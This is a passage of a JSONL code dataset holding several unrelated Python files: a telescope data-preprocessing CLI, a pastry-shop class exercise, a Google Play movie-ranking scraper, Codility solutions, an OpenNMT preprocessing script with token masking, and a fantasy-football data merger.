starglob=\"/star/*_M1_*_I_*.root\",\n superstarglob=\"/superstar/*_S_*.root\",\n calibrootglob=\"/root/*_M1_*_Y_*.root\")\n\n def convertcsv2hdf5(self):\n raise NotImplementedError(\"This is data/mc specific and a daugther class needs to be used accordingly\")\n\n def mergehdf5files(self):\n yecho(\"Merging hdf5 files.\")\n self.get_currentfiles('csv/'+self.subdir+M12+HDF)\n hdfFilenames1, hdfFilenames2 = self.split_currentfiles()\n filenamesM1 = cth.merge_all_hdf5_files(hdfFilenames1, outpath=join(self.rootdir, \"hdfmerged/\"+self.subdir))\n filenamesM2 = cth.merge_all_hdf5_files(hdfFilenames2, outpath=join(self.rootdir, \"hdfmerged/\"+self.subdir))\n filenamesM1.extend(filenamesM2)\n self.currentfiles = filenamesM1\n yecho(\"Merging done.\")\n\n def mergetelescopefiles(self):\n raise NotImplementedError(\"This is data/mc specific and a daugther class needs to be used accordingly\")\n\n def normalizefiles(self):\n yecho(\"Normalizing.\")\n self.get_currentfiles(DIRECTORIES[-3]+\"*\"+HDF)\n if \"GA_\" in path.basename(self.currentfiles[0]):\n njobs = 30\n else:\n njobs = 3\n self.currentfiles = Parallel(n_jobs=njobs)\\\n (delayed(norm.normalize)(ifile, self.normfile, outdir=\"normalized/\"+self.subdir)\n for ifile in tqdm(self.currentfiles))\n yecho(\"Done normalizing.\")\n\n def get_energies(self,\n globstr=None,\n outdir=None):\n yecho(\"Classifying Energies.\")\n if globstr is None:\n globstr = \"normalized/\"+self.subdir+\"normalized*.hdf5\"\n if self.currentfiles:\n globstr = self.currentfiles\n self.currentfiles = parallel_applymodel(globstr=globstr,\n njobs=20,\n outdir=outdir,\n modelpath=self.modelpath)\n yecho(\"Done classifying Energies.\")\n\n def adjust_energies(self, glob=None):\n yecho(\"Adjusting Energies.\")\n if not self.currentfiles:\n if glob is None:\n glob = \"*_application.txt\"\n path = join(self.rootdir, \"nnenergies\")\n self.currentfiles = self._rootdir_glob(join(path, glob))\n else:\n path = path.dirname(self.currentfiles[0])\n merge = False\n self.currentfiles = adjust_multiple_files(self.normfile, self.currentfiles, path, merge)\n\n def preprocess(self):\n self.setup_dirs()\n # currentfiles need to match the first processing step or else bad things will happend without you noticing\n # still needs to be implemented\n # self.setup_currentfiles()\n if self.root2csv:\n self.filter_and_convertroot2csv()\n if self.csv2hdf5:\n self.convertcsv2hdf5()\n if self.mergehdf5:\n self.mergehdf5files()\n if self.mergetelescopes:\n self.mergetelescopefiles()\n if (self.normalize is not False) and (self.normalize != \"False\"):\n self.normalizefiles()\n if self.handleenergies:\n if self.modelpath is not None:\n self.get_energies()\n self.adjust_energies()\n\n def __call__(self):\n self.preprocess()\n\n\nclass DataPreprocessing(GeneralPreprocessing):\n\n def convertcsv2hdf5(self):\n yecho(\"Converting csv to hdf5.\")\n self.get_currentfiles('csv/'+self.subdir+M12DATA+CSV)\n # assuming the subruns are not merged yet this will take 2.5GB per subrun, else x20 ram\n Parallel(n_jobs=1)(delayed(cth.create_hdf5_files)(filenames, \"float32\")\n for filename in tqdm(self.currentfiles, total=len(self.currentfiles)))\n yecho('Converting done.')\n\n def mergetelescopefiles(self):\n yecho(\"Merging telescope files.\")\n filenamesM1, filenamesM2 = splitfiles(self.get_currentfiles('csv/'+self.subdir+M12+HDF))\n filenamesOut = [fname.replace('/csv/', '/telmerged/') for fname in filenamesM1]\n filenamesOut = [fname.replace('_M1_', '_') for fname in filenamesOut]\n filezipper = zip(filenamesM1, filenamesM2, filenamesOut)\n # consumes about X GB memory when done on subruns\n self.currentfiles = Parallel(n_jobs=1)\\\n (delayed(mt.merge_telescopes)(fM1, fM2, fOut, easy_merge=True)\n for fM1, fM2, fOut in tqdm(filezipper,total=len(filenamesM1)))\n yecho(\"Merging done.\")\n\n\nclass MCPreprocessing(GeneralPreprocessing):\n\n def convertcsv2hdf5(self):\n yecho(\"Converting csv to hdf5.\")\n self.get_currentfiles(DIRECTORIES[0]+M12+CSV)\n Parallel(n_jobs=15)\\\n (delayed(cth.create_hdf5_files)(infileName, \"float16\")\n for infileName in tqdm(self.currentfiles, total=len(self.currentfiles)))\n yecho(\"Done converting csv to hdf5.\")\n\n def mergetelescopefiles(self):\n yecho(\"Merging telescope files.\")\n self.get_currentfiles(DIRECTORIES[0]+M12+CSV)\n files1, files2 = self.split_currentfiles()\n self.currentfiles = Parallel(n_jobs=20)\\\n (delayed(mt.mc_append_and_merge)\n ([m1], [m2], self.rootdir+DIRECTORIES[-3], easy_merge=True)\n for m1, m2 in tqdm(zip(files1, files2), total=len(files1)))\n yecho(\"Done merging telescope files.\")\n\n\n@click.command()\n@click.option('--rootdir', \"-rd\", default=\"./\", type=click.Path(file_okay=False, writable=True),\n help='RootDir from which to read the files')\n@click.option('--subdir', \"-sd\", default=\"\", type=click.Path(file_okay=False),\n help='subdir from which to read the files in each processing subdir.')\n@click.option('--root2csv', \"-rtc\", default=\"False\", type=bool,\n help='Convert root to csv or not. Also filters the events. Needs processed star and superstar files.')\n@click.option('--csv2hdf5', \"-cth\", default=\"True\", type=bool,\n help='Convert csv to hdf5 or not.')\n@click.option('--mergehdf5', \"-mh\", default=\"False\", type=bool,\n help='Merge the hdf5files or not.')\n@click.option('--mergetelescopes', \"-mt\", default=\"True\", type=bool,\n help='Merge the telescope files or not.')\n@click.option('--normalize', \"-no\", default=\"True\", type=click.Choice(['True', 'False', 'pixelwise', 'camerawise']),\n help='Whether to merge the telescope files. Defaults to pixelwise. `True` also defaults to pixelwise.')\n@click.option('--normfile', \"-nf\", default=None, type=click.Path(dir_okay=False, resolve_path=True, exists=True),\n help='Location of the normfile.')\n@click.option('--tillend', default=\"False\", type=bool,\n help='Whether to process from the first step that is set to True till the end of the chain.')\n@click.option('--cleanup', \"-c\", default=\"False\", type=bool,\n help='Whether to delete old files.')\n@click.option('--entrypoint', \"-ep\", default=\"1\", type=int,\n help='The number of the first file to process in the first processing step. Useful for restarting partially failed preprocessing.')\n@click.option('--handleenergies', \"-he\", default=True, type=bool,\n help='Whether to classify events and unnormalize their energies.')\n@click.option('--modelpath', \"-mp\", default=None, type=click.Path(),\n help='Path to the trained model.ckpt file.')\n@click.option('--mode', \"-mo\", default=\"data\", type=click.Choice([\"data\", \"mc\"]),\n help='To preprocess data or monte carlo files.')\n@click.option('--mc', \"mode\", default=\"data\", flag_value=\"mc\",\n help='Flag for processing MC data.')\n@click.option('--data', \"mode\", default=\"data\", flag_value=\"data\",\n help='Flag for processing real data.')\n@click.option('--startglob', \"-sg\", default=None, type=click.Path(),\n help='Glob for reading the first files.')\ndef main(**args):\n try:\n if args.pop(\"mode\") == \"mc\":\n preprocessor = MCPreprocessing(**args)\n else:\n preprocessor = DataPreprocessing(**args)\n preprocessor.preprocess()\n except:\n import pdb, traceback, sys\n type, value, tb = sys.exc_info()\n traceback.print_exc()\n pdb.post_mortem(tb)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dontgoto/MAGIC-NN-Preprocessing","sub_path":"dataprepro/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":16703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42147225800","text":"from project.booths.open_booth import OpenBooth\r\nfrom project.booths.private_booth import PrivateBooth\r\nfrom project.delicacies.gingerbread import Gingerbread\r\nfrom project.delicacies.stolen import Stolen\r\n\r\n\r\nclass ChristmasPastryShopApp:\r\n def __init__(self):\r\n self.booths = []\r\n self.delicacies = []\r\n self.income = 0.0\r\n\r\n def add_delicacy(self, type_delicacy: str, name: str, price: float):\r\n correct_delicacy = ['Gingerbread', 'Stolen']\r\n if any(d.name == name for d in self.delicacies):\r\n raise Exception(f\"{name} already exists!\")\r\n if type_delicacy not in correct_delicacy:\r\n raise Exception(f\"{type_delicacy} is not on our delicacy menu!\")\r\n if type_delicacy == 'Gingerbread':\r\n delicacy = Gingerbread(name, price)\r\n else:\r\n delicacy = Stolen(name, price)\r\n self.delicacies.append(delicacy)\r\n return f\"Added delicacy {name} - {type_delicacy} to the pastry shop.\"\r\n\r\n def add_booth(self, type_booth: str, booth_number: int, capacity: int):\r\n correct_booth = ['Open Booth', 'Private Booth']\r\n if any(b.booth_number == booth_number for b in self.booths):\r\n raise Exception(f\"Booth number {booth_number} already exists!\")\r\n if type_booth not in correct_booth:\r\n raise Exception(f\"{type_booth} is not a valid booth!\")\r\n if type_booth == 'Open Booth':\r\n booth = OpenBooth(booth_number, capacity)\r\n else:\r\n booth = PrivateBooth(booth_number, capacity)\r\n self.booths.append(booth)\r\n return f\"Added booth number {booth_number} in the pastry shop.\"\r\n\r\n def reserve_booth(self, number_of_people: int):\r\n for booth in self.booths:\r\n if not booth.is_reserved and number_of_people <= booth.capacity:\r\n booth.reserve(number_of_people)\r\n return f\"Booth {booth.booth_number} has been reserved for {number_of_people} people.\"\r\n raise Exception(f\"No available booth for {number_of_people} people!\")\r\n\r\n def order_delicacy(self, booth_number: int, delicacy_name: str):\r\n if not any(b.booth_number == booth_number for b in self.booths):\r\n raise Exception(f\"Could not find booth {booth_number}!\")\r\n if not any(d.name == delicacy_name for d in self.delicacies):\r\n raise Exception(f\"No {delicacy_name} in the pastry shop!\")\r\n for booth in self.booths:\r\n if booth_number == booth.booth_number:\r\n current_booth = booth\r\n for delicacy in self.delicacies:\r\n if delicacy_name == delicacy.name:\r\n current_delicacy = delicacy\r\n current_booth.delicacy_orders.append(current_delicacy)\r\n return f\"Booth {booth_number} ordered {delicacy_name}.\"\r\n\r\n def leave_booth(self, booth_number: int):\r\n for booth in self.booths:\r\n if booth.booth_number == booth_number:\r\n current_booth = booth\r\n sum_delicacy = 0\r\n for delicacy in current_booth.delicacy_orders:\r\n sum_delicacy += delicacy.price\r\n bill = sum_delicacy + current_booth.price_for_reservation\r\n self.income += bill\r\n current_booth.delicacy_orders = []\r\n current_booth.is_reserved = False\r\n current_booth.price_for_reservation = 0\r\n return f\"Booth {booth_number}:\\nBill: {bill:.2f}lv.\"\r\n\r\n def get_income(self):\r\n return f\"Income: {self.income:.2f}lv.\"\r\n","repo_name":"philipandonov/ChristmasPastryShopApp","sub_path":"christmas_pastry_shop_app.py","file_name":"christmas_pastry_shop_app.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27861512830","text":"import requests\nfrom bs4 import BeautifulSoup\nimport sqlite3\nfrom selenium import webdriver\nimport time\n\n\ndef getGoogleMovieList():\n # 크롬창의 띄우지 않고 백그라운드로 실행해서 스크롤을 내려 아래에 있는 정보 로딩\n options = webdriver.ChromeOptions()\n options.headless = True\n options.add_argument(\"window-size=1920x1080\")\n browser = webdriver.Chrome(options=options)\n # browser.maximize_window()\n\n # 페이지 이동\n url = \"https://play.google.com/store/movies/top\"\n browser.get(url)\n\n # 스크롤 내리기\n browser.execute_script(\"window.scrollTo(0, 1080)\")\n interval = 2\n prev_height = browser.execute_script(\"return document.body.scrollHeight\")\n while True:\n browser.execute_script(\n \"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(interval) # 스크롤 내리고 로딩 시간 임의로 2초로 함\n cur_height = browser.execute_script(\n \"return document.body.scrollHeight\")\n if cur_height == prev_height:\n break\n prev_height = cur_height\n print(\"done\")\n browser.get_screenshot_as_file(\"google_movie_test.png\")\n\n # db 만들기\n filepath = \"movie.db\"\n conn = sqlite3.connect(filepath)\n cur = conn.cursor()\n\n conn.executescript(\"\"\"drop table if exists google_movies;\n create table google_movies(rank int, title text, genre text, rate real, price text, url text);\n \"\"\")\n\n conn.executescript(\"\"\"delete from movies where platform_id=1;\n\n \"\"\")\n\n conn.commit()\n\n # 스크래핑\n soup = BeautifulSoup(browser.page_source, \"lxml\")\n\n movies = soup.find_all(\"div\", attrs={\"class\": \"Vpfmgd\"})\n\n # title, price, rate, genre, url\n for index, movie in enumerate(movies):\n ranking = index+1\n title = movie.find(\"div\", attrs={\"class\": \"WsMG1c nnK0zc\"}).get_text()\n genre = movie.find(\"div\", attrs={\"class\": \"KoLSrc\"})\n # 장르가 표기되지 않은 것이 있음\n if genre:\n genre = genre.get_text()\n else:\n genre = \"NULL\"\n # rate 우선 보류\n # 별점 5개 만점에 4.4개를 받았습니다. -> 4.4만 추출...\n rate = movie.find(\"div\", attrs={\"role\": \"img\"})\n if rate:\n rate = rate[\"aria-label\"]\n temp=rate[10]+rate[11]+rate[12]\n temp=float(temp)*2\n rate=temp\n else:\n rate = -1\n price = movie.find(\n \"span\", attrs={\"class\": \"VfPpfd ZdBevf i5DZme\"}).get_text()\n link = movie.find(\"a\", attrs={\"class\": \"JC71ub\"})[\"href\"]\n link_head = \"https://play.google.com\"\n conn.execute(\"insert into google_movies values (?, ?, ?, ?, ?, ?)\",\n (ranking, title, genre, rate, price, link_head+link))\n\n sql=\"insert into movies values (?, ?, ?, ?, ?, ?, ?, ?)\"\n conn.execute(sql, (title, 1, ranking, genre, rate, price, link_head+link, 0))\n\n conn.commit()\n conn.close()\n print(\"google movie!!!!!!!!!!!!!!!!!!!!!!\")\n\n\nif __name__ == \"__main__\":\n getGoogleMovieList()\n","repo_name":"Jungmin-Seo0527/DB_project","sub_path":"crawlingpkg/googleMovie.py","file_name":"googleMovie.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6074298838","text":"#Task : 66, Correctness : 80, Performance : 50\n# def solution(A):\n# A = list(set(A))\n# A.sort()\n# count = A[0]\n# if count > 1 :\n# return 1\n# for i in A :\n# if count == i:\n# count +=1\n# result = count\n# else :\n# result = count\n# break\n# if result <= 0:\n# result = 1\n# return result\n\n#Task : 100, Correctness : 100, Performance : 100\ndef solution(A):\n A.sort()\n A = list(set(A))\n missingdata = 1\n for i in A :\n if i == missingdata :\n missingdata +=1\n return missingdata\n","repo_name":"Sooho-Kim/Python_algorithm","sub_path":"02.Codility/Codility_4_3.MissingInteger.py","file_name":"Codility_4_3.MissingInteger.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72870072542","text":"import codecs\nimport glob\nimport gc\nimport random\n\nimport torch\nfrom collections import Counter, defaultdict\n\nfrom onmt.utils.logging import init_logger, logger\nfrom onmt.utils.misc import split_corpus\nimport onmt.inputters as inputters\nimport onmt.opts as opts\nfrom onmt.utils.parse import ArgumentParser\nfrom onmt.inputters.inputter import _build_fields_vocab,\\\n _load_vocab, \\\n old_style_vocab, \\\n load_old_vocab\n\nfrom functools import partial\nfrom multiprocessing import Pool\nimport torch.npu\nimport os\nNPU_CALCULATE_DEVICE = 0\nif os.getenv('NPU_CALCULATE_DEVICE') and str.isdigit(os.getenv('NPU_CALCULATE_DEVICE')):\n NPU_CALCULATE_DEVICE = int(os.getenv('NPU_CALCULATE_DEVICE'))\nif torch.npu.current_device() != NPU_CALCULATE_DEVICE:\n torch.npu.set_device(f'npu:{NPU_CALCULATE_DEVICE}')\n\n\ndef check_existing_pt_files(opt, corpus_type, ids, existing_fields):\n \"\"\" Check if there are existing .pt files to avoid overwriting them \"\"\"\n existing_shards = []\n for maybe_id in ids:\n if maybe_id:\n shard_base = corpus_type + \"_\" + maybe_id\n else:\n shard_base = corpus_type\n pattern = opt.save_data + '.{}.*.pt'.format(shard_base)\n if glob.glob(pattern):\n if opt.overwrite:\n maybe_overwrite = (\"will be overwritten because \"\n \"`-overwrite` option is set.\")\n else:\n maybe_overwrite = (\"won't be overwritten, pass the \"\n \"`-overwrite` option if you want to.\")\n logger.warning(\"Shards for corpus {} already exist, {}\"\n .format(shard_base, maybe_overwrite))\n existing_shards += [maybe_id]\n return existing_shards\n\n\ndef process_one_shard(corpus_params, params):\n corpus_type, fields, src_reader, tgt_reader, align_reader, opt,\\\n existing_fields, src_vocab, tgt_vocab = corpus_params\n i, (src_shard, tgt_shard, align_shard, maybe_id, filter_pred) = params\n # create one counter per shard\n sub_sub_counter = defaultdict(Counter)\n assert len(src_shard) == len(tgt_shard)\n logger.info(\"Building shard %d.\" % i)\n\n src_data = {\"reader\": src_reader, \"data\": src_shard, \"dir\": opt.src_dir}\n tgt_data = {\"reader\": tgt_reader, \"data\": tgt_shard, \"dir\": None}\n align_data = {\"reader\": align_reader, \"data\": align_shard, \"dir\": None}\n _readers, _data, _dir = inputters.Dataset.config(\n [('src', src_data), ('tgt', tgt_data), ('align', align_data)])\n\n dataset = inputters.Dataset(\n fields, readers=_readers, data=_data, dirs=_dir,\n sort_key=inputters.str2sortkey[opt.data_type],\n filter_pred=filter_pred,\n corpus_id=maybe_id\n )\n\n # Run mBART masking is enabled\n if opt.mbart_masking:\n for k, ex in enumerate(dataset.examples):\n for name, field in fields.items():\n # Only we need to mask the src as target needs to be exactly the same\n # which is a copy of the src actually in case of mbart training\n mask_token = \"\"\n if name == 'src':\n tokens = getattr(ex, name, None)[0]\n for j, token in enumerate(tokens[:-2]): # Avoid the masking of end of sentence and language code\n prob = random.random()\n if prob < 0.35:\n prob /= 0.35\n # 80% of the tokens we replace with mask\n if prob < 0.80:\n tokens[j] = mask_token\n # 10% of tokens to be replaced with random word\n elif prob < 0.90:\n tokens[j] = tokens[random.randrange(len(tokens[:-2]))]\n # Remaining 10% we keep actual word\n else:\n tokens[j] = token\n else:\n tokens[i] = token\n setattr(ex, name, [tokens])\n\n # Run RoBERTA Masking\n if opt.bert_masking:\n for k, ex in enumerate(dataset.examples):\n for name, field in fields.items():\n # Only we need to mask the src as target needs to be exactly the same\n # which is a copy of the src actually in case of mbart training\n mask_token = \"\"\n unk_token = \"\"\n if name == 'src':\n tokens = getattr(ex, name, None)[0]\n output_labels = list()\n for k, token in enumerate(tokens):\n prob = random.random()\n if prob < 0.15:\n prob /= 0.15\n # 80% of the tokens we replace with mask\n if prob < 0.80:\n tokens[k] = mask_token\n # 10% of tokens to be replaced with random word\n elif prob < 0.90:\n tokens[k] = tokens[random.randrange(len(tokens))]\n # Remaining 10% we keep actual word\n else:\n tokens[k] = token\n output_labels.append(token)\n else:\n tokens[k] = token\n # add 0 as these wont be required to be predicted during training\n output_labels.append(unk_token)\n setattr(ex, name, [tokens])\n\n # For Bert/Roberta training, we need to change the target\n setattr(ex, 'tgt', [output_labels])\n\n if corpus_type == \"train\" and existing_fields is None:\n for ex in dataset.examples:\n sub_sub_counter['corpus_id'].update(\n [\"train\" if maybe_id is None else maybe_id])\n for name, field in fields.items():\n\n if (opt.data_type in [\"audio\", \"vec\"]) and name == \"src\":\n continue\n try:\n f_iter = iter(field)\n except TypeError:\n f_iter = [(name, field)]\n all_data = [getattr(ex, name, None)]\n else:\n all_data = getattr(ex, name)\n for (sub_n, sub_f), fd in zip(\n f_iter, all_data):\n has_vocab = (sub_n == 'src' and\n src_vocab is not None) or \\\n (sub_n == 'tgt' and\n tgt_vocab is not None)\n if (hasattr(sub_f, 'sequential')\n and sub_f.sequential and not has_vocab):\n val = fd\n sub_sub_counter[sub_n].update(val)\n if maybe_id:\n shard_base = corpus_type + \"_\" + maybe_id\n else:\n shard_base = corpus_type\n data_path = \"{:s}.{:s}.{:d}.pt\".\\\n format(opt.save_data, shard_base, i)\n\n logger.info(\" * saving %sth %s data shard to %s.\"\n % (i, shard_base, data_path))\n\n dataset.save(data_path)\n\n del dataset.examples\n gc.collect()\n del dataset\n gc.collect()\n\n return sub_sub_counter\n\n\ndef maybe_load_vocab(corpus_type, counters, opt):\n src_vocab = None\n tgt_vocab = None\n existing_fields = None\n if corpus_type == \"train\":\n if opt.src_vocab != \"\":\n try:\n logger.info(\"Using existing vocabulary...\")\n existing_fields = torch.load(opt.src_vocab)\n except torch.serialization.pickle.UnpicklingError:\n logger.info(\"Building vocab from text file...\")\n src_vocab, src_vocab_size = _load_vocab(\n opt.src_vocab, \"src\", counters,\n opt.src_words_min_frequency)\n if opt.tgt_vocab != \"\":\n tgt_vocab, tgt_vocab_size = _load_vocab(\n opt.tgt_vocab, \"tgt\", counters,\n opt.tgt_words_min_frequency)\n return src_vocab, tgt_vocab, existing_fields\n\n\ndef build_save_dataset(corpus_type, fields, src_reader, tgt_reader,\n align_reader, opt):\n assert corpus_type in ['train', 'valid']\n\n if corpus_type == 'train':\n counters = defaultdict(Counter)\n srcs = opt.train_src\n tgts = opt.train_tgt\n ids = opt.train_ids\n aligns = opt.train_align\n elif corpus_type == 'valid':\n counters = None\n srcs = [opt.valid_src]\n tgts = [opt.valid_tgt]\n ids = [None]\n aligns = [opt.valid_align]\n\n src_vocab, tgt_vocab, existing_fields = maybe_load_vocab(\n corpus_type, counters, opt)\n\n existing_shards = check_existing_pt_files(\n opt, corpus_type, ids, existing_fields)\n\n # every corpus has shards, no new one\n if existing_shards == ids and not opt.overwrite:\n return\n\n def shard_iterator(srcs, tgts, ids, aligns, existing_shards,\n existing_fields, corpus_type, opt):\n \"\"\"\n Builds a single iterator yielding every shard of every corpus.\n \"\"\"\n for src, tgt, maybe_id, maybe_align in zip(srcs, tgts, ids, aligns):\n if maybe_id in existing_shards:\n if opt.overwrite:\n logger.warning(\"Overwrite shards for corpus {}\"\n .format(maybe_id))\n else:\n if corpus_type == \"train\":\n assert existing_fields is not None,\\\n (\"A 'vocab.pt' file should be passed to \"\n \"`-src_vocab` when adding a corpus to \"\n \"a set of already existing shards.\")\n logger.warning(\"Ignore corpus {} because \"\n \"shards already exist\"\n .format(maybe_id))\n continue\n if ((corpus_type == \"train\" or opt.filter_valid)\n and tgt is not None):\n filter_pred = partial(\n inputters.filter_example,\n use_src_len=opt.data_type == \"text\",\n max_src_len=opt.src_seq_length,\n max_tgt_len=opt.tgt_seq_length)\n else:\n filter_pred = None\n src_shards = split_corpus(src, opt.shard_size)\n tgt_shards = split_corpus(tgt, opt.shard_size)\n align_shards = split_corpus(maybe_align, opt.shard_size)\n for i, (ss, ts, a_s) in enumerate(\n zip(src_shards, tgt_shards, align_shards)):\n yield (i, (ss, ts, a_s, maybe_id, filter_pred))\n\n shard_iter = shard_iterator(srcs, tgts, ids, aligns, existing_shards,\n existing_fields, corpus_type, opt)\n\n with Pool(opt.num_threads) as p:\n dataset_params = (corpus_type, fields, src_reader, tgt_reader,\n align_reader, opt, existing_fields,\n src_vocab, tgt_vocab)\n func = partial(process_one_shard, dataset_params)\n for sub_counter in p.imap(func, shard_iter):\n if sub_counter is not None:\n for key, value in sub_counter.items():\n counters[key].update(value)\n\n if corpus_type == \"train\":\n vocab_path = opt.save_data + '.vocab.pt'\n new_fields = _build_fields_vocab(\n fields, counters, opt.data_type,\n opt.share_vocab, opt.vocab_size_multiple,\n opt.src_vocab_size, opt.src_words_min_frequency,\n opt.tgt_vocab_size, opt.tgt_words_min_frequency,\n subword_prefix_is_added=opt.subword_prefix_is_added,\n subword_prefix=opt.subword_prefix,\n subword_prefix_is_joiner=opt.subword_prefix_is_joiner)\n if existing_fields is None:\n fields = new_fields\n else:\n fields = existing_fields\n\n if old_style_vocab(fields):\n fields = load_old_vocab(\n fields, opt.data_type, dynamic_dict=opt.dynamic_dict)\n\n # patch corpus_id\n if fields.get(\"corpus_id\", False):\n fields[\"corpus_id\"].vocab = new_fields[\"corpus_id\"].vocab_cls(\n counters[\"corpus_id\"])\n\n torch.save(fields, vocab_path)\n\n\ndef build_save_vocab(train_dataset, fields, opt):\n fields = inputters.build_vocab(\n train_dataset, fields, opt.data_type, opt.share_vocab,\n opt.src_vocab, opt.src_vocab_size, opt.src_words_min_frequency,\n opt.tgt_vocab, opt.tgt_vocab_size, opt.tgt_words_min_frequency,\n vocab_size_multiple=opt.vocab_size_multiple\n )\n vocab_path = opt.save_data + '.vocab.pt'\n torch.save(fields, vocab_path)\n\n\ndef count_features(path):\n \"\"\"\n path: location of a corpus file with whitespace-delimited tokens and\n 锟-delimited features within the token\n returns: the number of features in the dataset\n \"\"\"\n with codecs.open(path, \"r\", \"utf-8\") as f:\n first_tok = f.readline().split(None, 1)[0]\n return len(first_tok.split(u\"锟\")) - 1\n\n\ndef preprocess(opt):\n ArgumentParser.validate_preprocess_args(opt)\n torch.manual_seed(opt.seed)\n\n init_logger(opt.log_file)\n\n logger.info(\"Extracting features...\")\n\n src_nfeats = 0\n tgt_nfeats = 0\n src_nfeats = count_features(opt.train_src[0]) if opt.data_type == 'text' \\\n else 0\n tgt_nfeats = count_features(opt.train_tgt[0]) # tgt always text so far\n if len(opt.train_src) > 1 and opt.data_type == 'text':\n for src, tgt in zip(opt.train_src[1:], opt.train_tgt[1:]):\n assert src_nfeats == count_features(src),\\\n \"%s seems to mismatch features of \"\\\n \"the other source datasets\" % src\n assert tgt_nfeats == count_features(tgt),\\\n \"%s seems to mismatch features of \"\\\n \"the other target datasets\" % tgt\n logger.info(\" * number of source features: %d.\" % src_nfeats)\n logger.info(\" * number of target features: %d.\" % tgt_nfeats)\n\n logger.info(\"Building `Fields` object...\")\n if opt.subword_prefix_is_added:\n fields = inputters.get_fields(\n opt.data_type,\n src_nfeats,\n tgt_nfeats,\n bos=None, # This is hack to be used to avoid adding as it is not needed for mbart\n eos=None, # This is hack to be used to avoid adding as we manually added it already\n dynamic_dict=opt.dynamic_dict,\n with_align=opt.train_align[0] is not None,\n src_truncate=opt.src_seq_length_trunc,\n tgt_truncate=opt.tgt_seq_length_trunc)\n else:\n fields = inputters.get_fields(\n opt.data_type,\n src_nfeats,\n tgt_nfeats,\n dynamic_dict=opt.dynamic_dict,\n with_align=opt.train_align[0] is not None,\n src_truncate=opt.src_seq_length_trunc,\n tgt_truncate=opt.tgt_seq_length_trunc)\n\n src_reader = inputters.str2reader[opt.data_type].from_opt(opt)\n tgt_reader = inputters.str2reader[\"text\"].from_opt(opt)\n align_reader = inputters.str2reader[\"text\"].from_opt(opt)\n\n logger.info(\"Building & saving training data...\")\n build_save_dataset(\n 'train', fields, src_reader, tgt_reader, align_reader, opt)\n\n if opt.valid_src and opt.valid_tgt:\n logger.info(\"Building & saving validation data...\")\n build_save_dataset(\n 'valid', fields, src_reader, tgt_reader, align_reader, opt)\n\n\ndef _get_parser():\n parser = ArgumentParser(description='preprocess.py')\n\n opts.config_opts(parser)\n opts.preprocess_opts(parser)\n return parser\n\n\ndef main():\n parser = _get_parser()\n\n opt = parser.parse_args()\n preprocess(opt)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/dev/cv/image_classification/mBART_ID1550_for_PyTorch/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":16054,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"35697461213","text":"from pathlib import Path\nimport pandas as pd\nimport time\nimport datetime as dt\n\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\n\ndef main():\n # variables\n season = '2021_2022'\n round = 34\n # last season before break file\n season_prev = '2021_2022'\n round_final = 19\n\n # input files\n players_stats_prev_season_path = r'\\data\\raw\\02_players_stats_{s}_round_{r}.csv'.format(s=season_prev, r=round_final)\n players_stats_curr_season_path = r'\\data\\raw\\02_players_stats_{s}_round_{r}.csv'.format(s=season, r=round)\n\n # output files\n players_stats_path = r'\\data\\interim\\round_{r}\\03_players_concat_before_round_{r}.csv'.format(s=season, r=round)\n\n # start time of function\n start_time = time.time()\n\n # project directory\n project_dir = str(Path(__file__).resolve().parents[2])\n\n # loading file with data concerning previous season\n players_stats_prev = pd.read_csv(project_dir + players_stats_prev_season_path, delimiter=',')\n\n # loading file with data concerning current season\n players_stats_curr = pd.read_csv(project_dir + players_stats_curr_season_path, delimiter=',')\n\n # dropping duplicates\n players_stats_prev.drop_duplicates(keep='first', inplace=True)\n players_stats_curr.drop_duplicates(keep='first', inplace=True)\n\n # concatenating two dataframes\n players_stats = pd.concat([players_stats_prev, players_stats_curr])\n\n # sorting data\n players_stats.sort_values(by=['id', 'round'], inplace=True)\n\n # players current status\n players_status = players_stats_curr[players_stats_curr['round'] == round]\n\n # restricting dataframe\n players_status = players_status[['id', 'name', 'position', 'status', 'value']]\n\n # updating current status to concatenates dataframe\n players_stats = players_stats.merge(players_status, how='left', left_on=['name', 'id'], right_on=['name', 'id'], suffixes=['_old', '_new'])\n\n # renaming columns\n players_stats = players_stats.rename(columns={'status_new': 'status', 'value_new': 'value', 'position_new': 'position'})\n\n # dropping duplicates\n players_stats.drop_duplicates(subset=['name', 'id', 'round'], keep='first', inplace=True)\n\n # dropping unnecessary columns\n players_stats.drop(columns=['status_old', 'value_old', 'position_old'], inplace=True)\n\n # reshaping dataframe\n players_stats = players_stats[['id', 'name', 'position', 'value', 'club', 'club_abr', 'club_prev', 'country',\n 'popularity', 'status', 'round', 'opponent', 'time', 'goals',\n 'assists', 'own_goal', 'penalty', 'penalty_won', 'penalty_given', 'penalty_lost',\n 'penalty_defended', 'in_stat', 'yellow_card', 'red_card', 'points']]\n # 'points_prev',\n # players_stats['status'].fillna(value=\"\", inplace=True)\n #\n # players_stats['status'] = players_stats['status'].apply(lambda x: 'active' if x == \"\" else x)\n\n # saving dataframe\n players_stats.to_csv(project_dir + players_stats_path, index=False, encoding='UTF-8')\n\n # end time of program + duration\n end_time = time.time()\n execution_time = int(end_time - start_time)\n print('\\n', 'exectution time = ', execution_time, 'sec')\n\nif __name__ == \"__main__\":\n main()","repo_name":"sebastian-konicz/Fantasy-Fotball-Ekstraklasa","sub_path":"src/ekstraclass/ekstraclass_03_ data_concatenation.py","file_name":"ekstraclass_03_ data_concatenation.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21877147693","text":"import random\n\nclass 